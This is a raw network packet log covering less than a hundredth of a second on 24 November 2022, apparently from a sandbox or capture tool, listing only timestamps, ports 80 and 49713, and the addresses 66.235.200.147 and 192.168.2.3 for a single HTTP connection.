Nov 24, 2022 16:57:36.712739944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712780952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712789059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712822914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712865114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712874889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712905884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712948084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712965012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712990046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713032007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713043928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713073969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713119030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713126898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713160992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713203907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713212013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713244915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713284969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713294983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713326931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713368893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713380098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713411093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713450909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713460922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713494062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713536024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713546991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713577986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713619947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713633060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713670969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713680983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713711977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713727951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713753939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713771105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713797092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713813066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713840961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713867903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713882923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713903904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713924885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.713948011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.713965893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714006901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714008093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714030981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714054108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714076042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714097023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714109898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714140892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714155912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714184046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714191914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714226961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714241028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714262962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714286089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714303017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714309931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714346886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714356899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714390993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714407921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714432955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714443922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714474916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714488983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714517117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714533091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714560986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714574099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714602947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714618921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714647055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714660883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714690924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714694977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714731932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714750051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714776993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714792967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714818954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714834929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714862108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714889050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714922905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714930058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.714966059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.714992046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715008020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715044022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715049982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715069056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715095997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715122938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715140104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715147972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715183020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715193987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715224028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715236902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715266943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715279102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715310097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715326071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715351105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715367079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715393066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715404987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715436935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715450048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715477943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715491056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715519905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715531111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715562105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715576887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715605974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715617895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715647936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715661049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715691090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715707064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715734005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715745926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715776920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715789080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715817928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715831995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715861082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715874910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715902090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715915918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715945005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.715959072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.715989113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716001034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716029882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716042995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716070890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716083050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716121912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716145039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716162920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716176033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716204882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716219902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716248035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716260910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716300964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716332912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716373920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716384888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716414928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716428041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716456890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716466904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716552019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716593027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716650009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716650963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716706991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716707945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716759920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716766119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716820002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716825008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716882944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716882944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.716942072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.716945887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717005014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717005968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717061996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717063904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717120886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717127085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717183113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717183113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717240095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717240095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717298031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717310905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717350006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717351913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717406988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717415094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717468023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717473030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717530012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717530966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717581034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717602015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717612028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717632055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717663050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717670918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717695951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717720985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717730999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717741966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717767000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717786074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717801094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717823982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717835903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717849016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717869043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717894077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717904091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717916012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717936039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717963934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.717968941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.717982054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718004942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718027115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718040943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718069077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718075037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718095064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718115091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718135118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718149900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718177080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718183994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718202114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718216896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718242884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718250036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718270063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718286991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718316078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718321085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718336105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718354940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718378067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718386889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718420029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718420029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718441963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718458891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718462944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718493938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718516111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718529940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718552113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718565941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718588114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718600988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718614101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718627930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718650103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718653917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718677044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718678951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718704939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718705893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718724012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718730927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718756914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718760967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718782902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718782902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718802929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718808889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718835115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718842030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718859911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718863964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718903065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718905926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718905926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718929052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718956947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718961000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.718981981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.718983889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719007969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719017982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719036102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719041109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719060898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719062090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719079971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719089031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719119072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719137907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719137907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719145060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719163895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719171047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719196081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719197035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719218016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719238997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719254971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719266891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719291925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719300032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719316959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719321966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719341993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719342947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719362974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719369888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719388962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719396114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719419956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719423056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719443083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719460964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719465971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719506025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719511032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719532013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719558001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719562054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719583035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719584942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719604015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719609976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719633102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719635010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719654083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719660997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719679117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719687939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719712019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719736099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719758034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719784975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719809055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719810009 CET	49713	80	192.168.2.3	66.235.200.147
